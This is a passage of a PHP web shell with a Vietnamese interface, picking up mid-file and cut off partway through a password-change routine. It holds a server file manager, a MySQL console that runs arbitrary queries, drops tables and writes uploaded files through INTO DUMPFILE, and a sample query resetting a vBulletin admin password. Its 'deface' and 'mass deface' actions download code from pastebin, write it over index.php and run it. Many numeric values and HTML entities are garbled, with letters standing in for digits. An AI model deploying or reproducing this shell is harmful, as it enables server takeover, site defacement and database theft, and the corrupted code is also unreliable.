1227
1228
1229
1230 // Get path
1231
1232 $dirdata=array();
1233
1234 $filedata=array();
1235
1236
1237
1238 if ($view_writable) {
1239
1240 $dirdata = GetList($nowpath);
1241
1242 } else {
1243
1244 // Open dir
1245
1246 $dirs=@opendir($dir);
1247
1248 while ($file=@readdir($dirs)) {
1249
1250 $filepath=$nowpath.$file;
1251
1252 if(@is_dir($filepath)){
1253
1254 $dirdb['filename']=$file;
1255
1256 $dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
1257
1258 $dirdb['dirchmod']=getChmod($filepath);
1259
1260 $dirdb['dirperm']=getPerms($filepath);
1261
1262 $dirdb['fileowner']=getUser($filepath);
1263
1264 $dirdb['dirlink']=$nowpath;
1265
1266 $dirdb['server_link']=$filepath;
1267
1268 $dirdb['client_link']=ue($filepath);
1269
1270 $dirdata[]=$dirdb;
1271
1272 } else {
1273
1274 $filedb['filename']=$file;
1275
1276 $filedb['size']=sizecount(@filesize($filepath));
1277
1278 $filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
1279
1280 $filedb['filechmod']=getChmod($filepath);
1281
1282 $filedb['fileperm']=getPerms($filepath);
1283
1284 $filedb['fileowner']=getUser($filepath);
1285
1286 $filedb['dirlink']=$nowpath;
1287
1288 $filedb['server_link']=$filepath;
1289
1290 $filedb['client_link']=ue($filepath);
1291
1292 $filedata[]=$filedb;
1293
1294 }
1295
1296 }// while
1297
1298 unset($dirdb);
1299
1300 unset($filedb);
1301
1302 @closedir($dirs);
1303
1304 }
1305
1306 @sort($dirdata);
1307
1308 @sort($filedata);
1309
1310 $dir_i = '0';
1311
1312 foreach($dirdata as $key => $dirdb){
1313
1314 if($dirdb['filename']!='..' && $dirdb['filename']!='.') {
1315
1316 $thisbg = bg();
1317
1318 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
1319
1320 p('<td width="a%" nowrap><font face="wingdings" size="o">0</font></td>');
1321
1322 p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');">'.$dirdb['filename'].'</a></td>');
1323
1324 p('<td nowrap>'.$dirdb['mtime'].'</td>');
1325
1326 p('<td nowrap>--</td>');
1327
1328 p('<td nowrap>');
1329
1330 p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].'</a> / ');
1331
1332 p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirperm'].'</a>'.$dirdb['fileowner'].'</td>');
1333
1334 p('<td nowrap><a href="javascript:dofile(\'deldir\',\''.$dirdb['server_link'].'\',\'Are you sure will delete '.$dirdb['filename'].'? \\n\\nIf non-empty directory, will be delete all the files.\')">X&#auo;a File</a> | <a href="javascrip:rename(\''.$dirdb['server_link'].'\');">&#a7a;̕o;i T&#aou;n</a></td>');
1335
1336 p('</tr>');
1337
1338 $dir_i++;
1339
1340 } else {
1341
1342 if($dirdb['filename']=='..') {
1343
1344 p('<tr class=fout>');
1345
1346 p('<td align="center"><font face="Wingdings o" size=u>=</font></td><td nowrap colspan="i"><a href="javascript:godir(\''.getUpPath($nowpath).'\');">V̓o; Tr&#uoa;ớc</a></td>');
1347
1348 p('</tr>');
1349
1350 }
1351
1352 }
1353
1354 }
1355
1356
1357
1358 p('<tr bgcolor="red" stlye="border-top:6px solid gray;border-bottom:6px solid gray;"><td colspan="e" height="i"></td></tr>');
1359
1360 p('<form id="filelist" name="filelist" action="'.$self.'" method="post">');
1361
1362 makehide('action','file');
1363
1364 makehide('thefile');
1365
1366 makehide('doing');
1367
1368 makehide('dir',$nowpath);
1369
1370 $file_i = '0';
1371
1372 foreach($filedata as $key => $filedb){
1373
1374 if($filedb['filename']!='..' && $filedb['filename']!='.') {
1375
1376 $fileurl = str_replace(SA_ROOT,'',$filedb['server_link']);
1377
1378 $thisbg = bg();
1379
1380 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
1381
1382 p('<td width="a%" nowrap><input type="checkbox" value="6" name="dl['.$filedb['server_link'].']"></td>');
1383
1384 p('<td><a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a></td>');
1385
1386 p('<td nowrap>'.$filedb['mtime'].'</td>');
1387
1388 p('<td nowrap>'.$filedb['size'].'</td>');
1389
1390 p('<td nowrap>');
1391
1392 p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].'</a> / ');
1393
1394 p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['fileperm'].'</a>'.$filedb['fileowner'].'</td>');
1395
1396 p('<td nowrap>');
1397
1398 p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">TNuo;i Xuống</a> | ');
1399
1400 p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">Sao Ch&#aoo;p</a> | ');
1401
1402 p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">ChỎnh S἟a</a> | ');
1403
1404 p('<a href="javascript:rename(\''.$filedb['server_link'].'\');">&#a7a;̕o;i T&#aou;n</a> | ');
1405
1406 p('<a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">ThỢi Gian</a>');
1407
1408 p('</td></tr>');
1409
1410 $file_i++;
1411
1412 }
1413
1414 }
1415
1416 p('<tr class="fout6"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">TNuo;i File &#a7a;&#aa7; Ch̔i;n</a> - <a href="javascript:dofile(\'delfiles\');">X&#auo;a File &#a7a;&#aa7; Ch̔i;n</a></td><td colspan="u" align="right">'.$dir_i.' Th&#uoa; Mục / '.$file_i.' files</td></tr>');
1417
1418 p('</form></table>');
1419
1420}// end dir
1421
1422
1423
1424elseif ($action == 'sqlfile') {
1425
1426 if($doing=="mysqlupload"){
1427
1428 $file = $_FILES['uploadfile'];
1429
1430 $filename = $file['tmp_name'];
1431
1432 if (file_exists($savepath)) {
1433
1434 m('The goal file has already existed');
1435
1436 } else {
1437
1438 if(!$filename) {
1439
1440 m('Please choose a file');
1441
1442 } else {
1443
1444 $fp=@fopen($filename,'r');
1445
1446 $contents=@fread($fp, filesize($filename));
1447
1448 @fclose($fp);
1449
1450 $contents = binahex($contents);
1451
1452 if(!$upname) $upname = $file['name'];
1453
1454 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
1455
1456 $result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");
1457
1458 m($result ? 'Upload success' : 'Upload has failed: '.mysql_error());
1459
1460 }
1461
1462 }
1463
1464 }
1465
1466?>
1467
1468<script type="text/javascript">
1469
1470function mysqlfile(doing){
1471
1472 if(!doing) return;
1473
1474 $('doing').value=doing;
1475
1476 $('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;
1477
1478 $('mysqlfile').dbport.value=$('dbinfo').dbport.value;
1479
1480 $('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;
1481
1482 $('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;
1483
1484 $('mysqlfile').dbname.value=$('dbinfo').dbname.value;
1485
1486 $('mysqlfile').charset.value=$('dbinfo').charset.value;
1487
1488 $('mysqlfile').submit();
1489
1490}
1491
1492</script>
1493
1494<?php
1495
1496 !$dbhost && $dbhost = 'localhost';
1497
1498 !$dbuser && $dbuser = 'root';
1499
1500 !$dbport && $dbport = 'oo0e';
1501
1502 $charsets = array(''=>'Default','gbk'=>'GBK', 'bigi'=>'Bigi', 'utf8'=>'UTF-8', 'latin6'=>'Latin6');
1503
1504 formhead(array('title'=>'MYSQL Information','name'=>'dbinfo'));
1505
1506 makehide('action','sqlfile');
1507
1508 p('<p>');
1509
1510 p('DBHost:');
1511
1512 makeinput(array('name'=>'dbhost','size'=>a0,'value'=>$dbhost));
1513
1514 p(':');
1515
1516 makeinput(array('name'=>'dbport','size'=>u,'value'=>$dbport));
1517
1518 p('DBUser:');
1519
1520 makeinput(array('name'=>'dbuser','size'=>6i,'value'=>$dbuser));
1521
1522 p('DBPass:');
1523
1524 makeinput(array('name'=>'dbpass','size'=>6i,'value'=>$dbpass));
1525
1526 p('DBName:');
1527
1528 makeinput(array('name'=>'dbname','size'=>6i,'value'=>$dbname));
1529
1530 p('DBCharset:');
1531
1532 makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
1533
1534 p('</p>');
1535
1536 formfoot();
1537
1538 p('<form action="'.$self.'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">');
1539
1540 p('<ha>Upload file</ha>');
1541
1542 p('<p><b>This operation the DB user must has FILE privilege</b></p>');
1543
1544 p('<p>Save path(fullpath): <input class="input" name="savepath" size="ui" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>');
1545
1546 p('<ha>Download file</ha>');
1547
1548 p('<p>File: <input class="input" name="mysqldlfile" size="66i" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>');
1549
1550 makehide('dbhost');
1551
1552 makehide('dbport');
1553
1554 makehide('dbuser');
1555
1556 makehide('dbpass');
1557
1558 makehide('dbname');
1559
1560 makehide('charset');
1561
1562 makehide('doing');
1563
1564 makehide('action','sqlfile');
1565
1566
1567 p('</form>');
1568
1569}
1570
1571
1572
1573elseif ($action == 'sqladmin') {
1574
1575 !$dbhost && $dbhost = 'localhost';
1576
1577 !$dbuser && $dbuser = 'root';
1578
1579 !$dbport && $dbport = 'oo0e';
1580
1581 $dbform = '<input type="hidden" id="connect" name="connect" value="6" />';
1582
1583 if(isset($dbhost)){
1584
1585 $dbform .= "<input type=\"hidden\" id=\"dbhost\" name=\"dbhost\" value=\"$dbhost\" />\n";
1586
1587 }
1588
1589 if(isset($dbuser)) {
1590
1591 $dbform .= "<input type=\"hidden\" id=\"dbuser\" name=\"dbuser\" value=\"$dbuser\" />\n";
1592
1593 }
1594
1595 if(isset($dbpass)) {
1596
1597 $dbform .= "<input type=\"hidden\" id=\"dbpass\" name=\"dbpass\" value=\"$dbpass\" />\n";
1598
1599 }
1600
1601 if(isset($dbport)) {
1602
1603 $dbform .= "<input type=\"hidden\" id=\"dbport\" name=\"dbport\" value=\"$dbport\" />\n";
1604
1605 }
1606
1607 if(isset($dbname)) {
1608
1609 $dbform .= "<input type=\"hidden\" id=\"dbname\" name=\"dbname\" value=\"$dbname\" />\n";
1610
1611 }
1612
1613 if(isset($charset)) {
1614
1615 $dbform .= "<input type=\"hidden\" id=\"charset\" name=\"charset\" value=\"$charset\" />\n";
1616
1617 }
1618
1619
1620
1621 if ($doing == 'backupmysql' && $saveasfile) {
1622 if (!$table) {
1623 m('Please choose the table');
1624 } else {
1625 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
1626 $table = array_flip($table);
1627 $fp = @fopen($path, 'w');
1628 if ($fp) {
1629 $result = q('SHOW tables');
1630 if (!$result) p('<ha>' . mysql_error() . '</ha>');
1631 $mysqldata = '';
1632 while ($currow = mysql_fetch_array($result)) {
1633 if (isset($table[$currow[0]])) {
1634 sqldumptable($currow[0], $fp);
1635 }
1636 }
1637 fclose($fp);
1638 $fileurl = str_replace(SA_ROOT, '', $path);
1639 m('Database has success backup to <a href="' . $fileurl . '" target="_blank">' . $path . '</a>');
1640 mysql_close();
1641 } else {
1642 m('Backup failed');
1643 }
1644 }
1645 }
1646
1647 if ($insert && $insertsql) {
1648
1649 $keystr = $valstr = $tmp = '';
1650
1651 foreach($insertsql as $key => $val) {
1652
1653 if ($val) {
1654
1655 $keystr .= $tmp.$key;
1656
1657 $valstr .= $tmp."'".addslashes($val)."'";
1658
1659 $tmp = ',';
1660
1661 }
1662
1663 }
1664
1665 if ($keystr && $valstr) {
1666
1667 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
1668
1669 m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());
1670
1671 }
1672
1673 }
1674
1675 if ($update && $insertsql && $baseeu) {
1676
1677 $valstr = $tmp = '';
1678
1679 foreach($insertsql as $key => $val) {
1680
1681 $valstr .= $tmp.$key."='".addslashes($val)."'";
1682
1683 $tmp = ',';
1684
1685 }
1686
1687 if ($valstr) {
1688
1689 $where = baseeu_decode($baseeu);
1690
1691 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
1692
1693 m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 6") ? 'Record updating' : mysql_error());
1694
1695 }
1696
1697 }
1698
1699 if ($doing == 'del' && $baseeu) {
1700
1701 $where = baseeu_decode($baseeu);
1702
1703 $delete_sql = "DELETE FROM $tablename WHERE $where";
1704
1705 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
1706
1707 m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());
1708
1709 }
1710
1711
1712
1713 if ($tablename && $doing == 'drop') {
1714
1715 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
1716
1717 if (q("DROP TABLE $tablename")) {
1718
1719 m('Drop table of success');
1720
1721 $tablename = '';
1722
1723 } else {
1724
1725 m(mysql_error());
1726
1727 }
1728
1729 }
1730
1731
1732
1733 $charsets = array(''=>'Default','gbk'=>'GBK', 'bigi'=>'Bigi', 'utf8'=>'UTF-8', 'latin6'=>'Latin6');
1734
1735
1736
1737 formhead(array('title'=>'MYSQL Manager'));
1738
1739 makehide('action','sqladmin');
1740
1741 p('<p>');
1742
1743 p('DBHost:');
1744
1745 makeinput(array('name'=>'dbhost','size'=>a0,'value'=>$dbhost));
1746
1747 p(':');
1748
1749 makeinput(array('name'=>'dbport','size'=>u,'value'=>$dbport));
1750
1751 p('DBUser:');
1752
1753 makeinput(array('name'=>'dbuser','size'=>6i,'value'=>$dbuser));
1754
1755 p('DBPass:');
1756
1757 makeinput(array('name'=>'dbpass','size'=>6i,'value'=>$dbpass));
1758
1759 p('DBCharset:');
1760
1761 makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
1762
1763 makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));
1764
1765 p('</p>');
1766
1767 formfoot();
1768
1769?>
1770
1771<script type="text/javascript">
1772
1773function editrecord(action, baseeu, tablename){
1774
1775 if (action == 'del') {
1776
1777 if (!confirm('Is or isn\'t deletion record?')) return;
1778
1779 }
1780
1781 $('recordlist').doing.value=action;
1782
1783 $('recordlist').baseeu.value=baseeu;
1784
1785 $('recordlist').tablename.value=tablename;
1786
1787 $('recordlist').submit();
1788
1789}
1790
1791function moddbname(dbname) {
1792
1793 if(!dbname) return;
1794
1795 $('setdbname').dbname.value=dbname;
1796
1797 $('setdbname').submit();
1798
1799}
1800
1801function settable(tablename,doing,page) {
1802
1803 if(!tablename) return;
1804
1805 if (doing) {
1806
1807 $('settable').doing.value=doing;
1808
1809 }
1810
1811 if (page) {
1812
1813 $('settable').page.value=page;
1814
1815 }
1816
1817 $('settable').tablename.value=tablename;
1818
1819 $('settable').submit();
1820
1821}
1822
1823</script>
1824
1825<?php
1826
1827 // SQL
1828
1829 formhead(array('name'=>'recordlist'));
1830
1831 makehide('doing');
1832
1833 makehide('action','sqladmin');
1834
1835 makehide('baseeu');
1836
1837 makehide('tablename');
1838
1839 p($dbform);
1840
1841 formfoot();
1842
1843
1844
1845 // Data
1846
1847 formhead(array('name'=>'setdbname'));
1848
1849 makehide('action','sqladmin');
1850
1851 p($dbform);
1852
1853 if (!$dbname) {
1854
1855 makehide('dbname');
1856
1857 }
1858
1859 formfoot();
1860
1861
1862
1863
1864
1865 formhead(array('name'=>'settable'));
1866
1867 makehide('action','sqladmin');
1868
1869 p($dbform);
1870
1871 makehide('tablename');
1872
1873 makehide('page',$page);
1874
1875 makehide('doing');
1876
1877 formfoot();
1878
1879
1880
1881 $cachetables = array();
1882
1883 $pagenum = o0;
1884
1885 $page = intval($page);
1886
1887 if($page) {
1888
1889 $start_limit = ($page - 6) * $pagenum;
1890
1891 } else {
1892
1893 $start_limit = 0;
1894
1895 $page = 6;
1896
1897 }
1898
1899 if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
1900
1901 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
1902
1903 // get mysql server
1904
1905 $mysqlver = mysql_get_server_info();
1906
1907 p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');
1908
1909 $highver = $mysqlver > 'u.6' ? 6 : 0;
1910
1911
1912
1913 // Show database
1914
1915 $query = q("SHOW DATABASES");
1916
1917 $dbs = array();
1918
1919 $dbs[] = '-- Select a database --';
1920
1921 while($db = mysql_fetch_array($query)) {
1922
1923 $dbs[$db['Database']] = $db['Database'];
1924
1925 }
1926
1927 makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>6));
1928
1929 $tabledb = array();
1930
1931 if ($dbname) {
1932
1933 p('<p>');
1934
1935 p('Current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>');
1936
1937 if ($tablename) {
1938
1939 p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');
1940
1941 }
1942
1943 p('</p>');
1944
1945 mysql_select_db($dbname);
1946
1947
1948
1949 $getnumsql = '';
1950
1951 $runquery = 0;
1952
1953 if ($sql_query) {
1954
1955 $runquery = 6;
1956
1957 }
1958
1959 $allowedit = 0;
1960
1961 if ($tablename && !$sql_query) {
1962
1963 $sql_query = "SELECT * FROM $tablename";
1964
1965 $getnumsql = $sql_query;
1966
1967 $sql_query = $sql_query." LIMIT $start_limit, $pagenum";
1968
1969 $allowedit = 6;
1970
1971 }
1972
1973 p('<form action="'.$self.'" method="POST">');
1974
1975 p('<p><table width="a00" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="a">Run SQL query/queries on database <font color=red><b>'.$dbname.'</font></b>:<BR>Example VBB Password: <font color=red>vbateam</font><BR><font color=yellow>UPDATE `user` SET `password` = \'e9eioeiab9ioeeiido6ffiooaefcufbe\', salt = \'piT\' WHERE `userid` = \'6\' </font>
1976
1977 </td></tr><tr><td><textarea name="sql_query" class="area" style="width:e00px;height:i0px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 ipx;"><input class="bt" style="height:i0px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');
1978
1979 makehide('tablename', $tablename);
1980
1981 makehide('action','sqladmin');
1982
1983 p($dbform);
1984
1985 p('</form>');
1986
1987 if ($tablename || ($runquery && $sql_query)) {
1988
1989 if ($doing == 'structure') {
1990
1991 $result = q("SHOW COLUMNS FROM $tablename");
1992
1993 $rowdb = array();
1994
1995 while($row = mysql_fetch_array($result)) {
1996
1997 $rowdb[] = $row;
1998
1999 }
2000
2001 p('<table border="0" cellpadding="o" cellspacing="0">');
2002
2003 p('<tr class="head">');
2004
2005 p('<td>Field</td>');
2006
2007 p('<td>Type</td>');
2008
2009 p('<td>Null</td>');
2010
2011 p('<td>Key</td>');
2012
2013 p('<td>Default</td>');
2014
2015 p('<td>Extra</td>');
2016
2017 p('</tr>');
2018
2019 foreach ($rowdb as $row) {
2020
2021 $thisbg = bg();
2022
2023 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
2024
2025 p('<td>'.$row['Field'].'</td>');
2026
2027 p('<td>'.$row['Type'].'</td>');
2028
2029 p('<td>'.$row['Null'].' </td>');
2030
2031 p('<td>'.$row['Key'].' </td>');
2032
2033 p('<td>'.$row['Default'].' </td>');
2034
2035 p('<td>'.$row['Extra'].' </td>');
2036
2037 p('</tr>');
2038
2039 }
2040
2041 tbfoot();
2042
2043 } elseif ($doing == 'insert' || $doing == 'edit') {
2044
2045 $result = q('SHOW COLUMNS FROM '.$tablename);
2046
2047 while ($row = mysql_fetch_array($result)) {
2048
2049 $rowdb[] = $row;
2050
2051 }
2052
2053 $rs = array();
2054
2055 if ($doing == 'insert') {
2056
2057 p('<ha>Insert new line in '.$tablename.' table »</ha>');
2058
2059 } else {
2060
2061 p('<ha>Update record in '.$tablename.' table »</ha>');
2062
2063 $where = baseeu_decode($baseeu);
2064
2065 $result = q("SELECT * FROM $tablename WHERE $where LIMIT 6");
2066
2067 $rs = mysql_fetch_array($result);
2068
2069 }
2070
2071 p('<form method="post" action="'.$self.'">');
2072
2073 p($dbform);
2074
2075 makehide('action','sqladmin');
2076
2077 makehide('tablename',$tablename);
2078
2079 p('<table border="0" cellpadding="o" cellspacing="0">');
2080
2081 foreach ($rowdb as $row) {
2082
2083 if ($rs[$row['Field']]) {
2084
2085 $value = htmlspecialchars($rs[$row['Field']]);
2086
2087 } else {
2088
2089 $value = '';
2090
2091 }
2092
2093 $thisbg = bg();
2094
2095 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
2096
2097 p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:i00px;height:e0px;overflow:auto;">'.$value.'</textarea></td></tr>');
2098
2099 }
2100
2101 if ($doing == 'insert') {
2102
2103 p('<tr class="fout"><td colspan="a"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');
2104
2105 } else {
2106
2107 p('<tr class="fout"><td colspan="a"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');
2108
2109 makehide('baseeu', $baseeu);
2110
2111 }
2112
2113 p('</table></form>');
2114
2115 } else {
2116
2117 $querys = @explode(';',$sql_query);
2118
2119 foreach($querys as $num=>$query) {
2120
2121 if ($query) {
2122
2123 p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");
2124
2125 switch(qy($query))
2126
2127 {
2128
2129 case 0:
2130
2131 p('<ha>Error : '.mysql_error().'</ha>');
2132
2133 break;
2134
2135 case 6:
2136
2137 if (strtolower(substr($query,0,6o)) == 'select * from') {
2138
2139 $allowedit = 6;
2140
2141 }
2142
2143 if ($getnumsql) {
2144
2145 $tatol = mysql_num_rows(q($getnumsql));
2146
2147 $multipage = multi($tatol, $pagenum, $page, $tablename);
2148
2149 }
2150
2151 if (!$tablename) {
2152
2153 $sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));
2154
2155 $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);
2156
2157 preg_match_all("/from\s+`{0,6}([\w]+)`{0,6}\s+/i",$sql_line,$matches);
2158
2159 $tablename = $matches[6][0];
2160
2161 }
2162
2163 $result = q($query);
2164
2165 p($multipage);
2166
2167 p('<table border="0" cellpadding="o" cellspacing="0">');
2168
2169 p('<tr class="head">');
2170
2171 if ($allowedit) p('<td>Action</td>');
2172
2173 $fieldnum = @mysql_num_fields($result);
2174
2175 for($i=0;$i<$fieldnum;$i++){
2176
2177 $name = @mysql_field_name($result, $i);
2178
2179 $type = @mysql_field_type($result, $i);
2180
2181 $len = @mysql_field_len($result, $i);
2182
2183 p("<td nowrap>$name<br><span>$type($len)</span></td>");
2184
2185 }
2186
2187 p('</tr>');
2188
2189 while($mn = @mysql_fetch_assoc($result)){
2190
2191 $thisbg = bg();
2192
2193 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
2194
2195 $where = $tmp = $b6 = '';
2196
2197 foreach($mn as $key=>$inside){
2198
2199 if ($inside) {
2200
2201 $where .= $tmp.$key."='".addslashes($inside)."'";
2202
2203 $tmp = ' AND ';
2204
2205 }
2206
2207 $b6 .= '<td nowrap>'.html_clean($inside).' </td>';
2208
2209 }
2210
2211 $where = baseeu_encode($where);
2212
2213 if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Ch?nh S?a</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">X\Foa</a></td>');
2214
2215 p($b6);
2216
2217 p('</tr>');
2218
2219 unset($b6);
2220
2221 }
2222
2223 tbfoot();
2224
2225 p($multipage);
2226
2227 break;
2228
2229 case a:
2230
2231 $ar = mysql_affected_rows();
2232
2233 p('<ha>affected rows : <b>'.$ar.'</b></ha>');
2234
2235 break;
2236
2237 }
2238
2239 }
2240
2241 }
2242
2243 }
2244
2245 } else {
2246
2247 $query = q("SHOW TABLE STATUS");
2248
2249 $table_num = $table_rows = $data_size = 0;
2250
2251 $tabledb = array();
2252
2253 while($table = mysql_fetch_array($query)) {
2254
2255 $data_size = $data_size + $table['Data_length'];
2256
2257 $table_rows = $table_rows + $table['Rows'];
2258
2259 $table['Data_length'] = sizecount($table['Data_length']);
2260
2261 $table_num++;
2262
2263 $tabledb[] = $table;
2264
2265 }
2266
2267 $data_size = sizecount($data_size);
2268
2269 unset($table);
2270
2271 p('<table border="0" cellpadding="0" cellspacing="0">');
2272
2273 p('<form action="'.$self.'" method="POST">');
2274
2275 makehide('action','sqladmin');
2276
2277 p($dbform);
2278
2279 p('<tr class="head">');
2280
2281 p('<td width="a%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');
2282
2283 p('<td>Name</td>');
2284
2285 p('<td>Rows</td>');
2286
2287 p('<td>Data_length</td>');
2288
2289 p('<td>Create_time</td>');
2290
2291 p('<td>Update_time</td>');
2292
2293 if ($highver) {
2294
2295 p('<td>Engine</td>');
2296
2297 p('<td>Collation</td>');
2298
2299 }
2300
2301 p('</tr>');
2302
2303 foreach ($tabledb as $key => $table) {
2304
2305 $thisbg = bg();
2306
2307 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
2308
2309 p('<td align="center" width="a%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>');
2310
2311 p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a> [ <a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a> ]</td>');
2312
2313 p('<td>'.$table['Rows'].'</td>');
2314
2315 p('<td>'.$table['Data_length'].'</td>');
2316
2317 p('<td>'.$table['Create_time'].'</td>');
2318
2319 p('<td>'.$table['Update_time'].'</td>');
2320
2321 if ($highver) {
2322
2323 p('<td>'.$table['Engine'].'</td>');
2324
2325 p('<td>'.$table['Collation'].'</td>');
2326
2327 }
2328
2329 p('</tr>');
2330
2331 }
2332
2333 p('<tr class=fout>');
2334
2335 p('<td> </td>');
2336
2337 p('<td>Total tables: '.$table_num.'</td>');
2338
2339 p('<td>'.$table_rows.'</td>');
2340
2341 p('<td>'.$data_size.'</td>');
2342
2343 p('<td colspan="'.($highver ? u : a).'"> </td>');
2344
2345 p('</tr>');
2346
2347
2348
2349 p("<tr class=\"fout\"><td colspan=\"" . ($highver ? 8 : e) . "\"><input name=\"saveasfile\" value=\"6\" type=\"checkbox\" /> Save as file <input class=\"input\" name=\"path\" value=\"" . SA_ROOT . $_SERVER['HTTP_HOST'] . "_MySQL.sql\" type=\"text\" size=\"e0\" /> <input class=\"bt\" type=\"submit\" name=\"downrar\" value=\"Export selection table\" /></td></tr>");
2350
2351 makehide('doing','backupmysql');
2352
2353 formfoot();
2354
2355 p("</table>");
2356
2357 fr($query);
2358
2359 }
2360
2361 }
2362
2363 }
2364
2365 tbfoot();
2366
2367 @mysql_close();
2368
2369}//end sql backup
2370//deface
2371elseif ($action == 'deface') {
2372 $index = 'http://pastebin.com/raw.php?i=rPy0QPdP';
2373$get68 = file_get_contents($index);
2374$nam68 = fopen('index.php', 'w');
2375fwrite($nam68,$get68);
2376fclose($nam68);
2377echo "<iframe src='index.php' width='600%' height='i00'></iframe>";
2378}
2379//mass deface
2380elseif ($action == 'mass') {
2381$mass = 'http://pastebin.com/raw.php?i=xct8oZZZ';
2382$massdf = file_get_contents($mass);
2383$mdf = fopen('massdf.php', 'w');
2384fwrite($mdf,$massdf);
2385fclose($mdf);
2386echo "<iframe src='massdf.php' width='600%' height='i00'></iframe>";
2387}
2388//reip
2389elseif ($action == 'reip') {
2390 echo "<iframe src='http://www.yougetsignal.com/tools/web-sites-on-web-server/' width='600%' height='i00'></iframe>";
2391 }
2392//Changes
2393elseif ($action == 'changepas') {
2394 $file = fopen($dir . "change-pas.php", "w+");
2395 $perltoolss = '
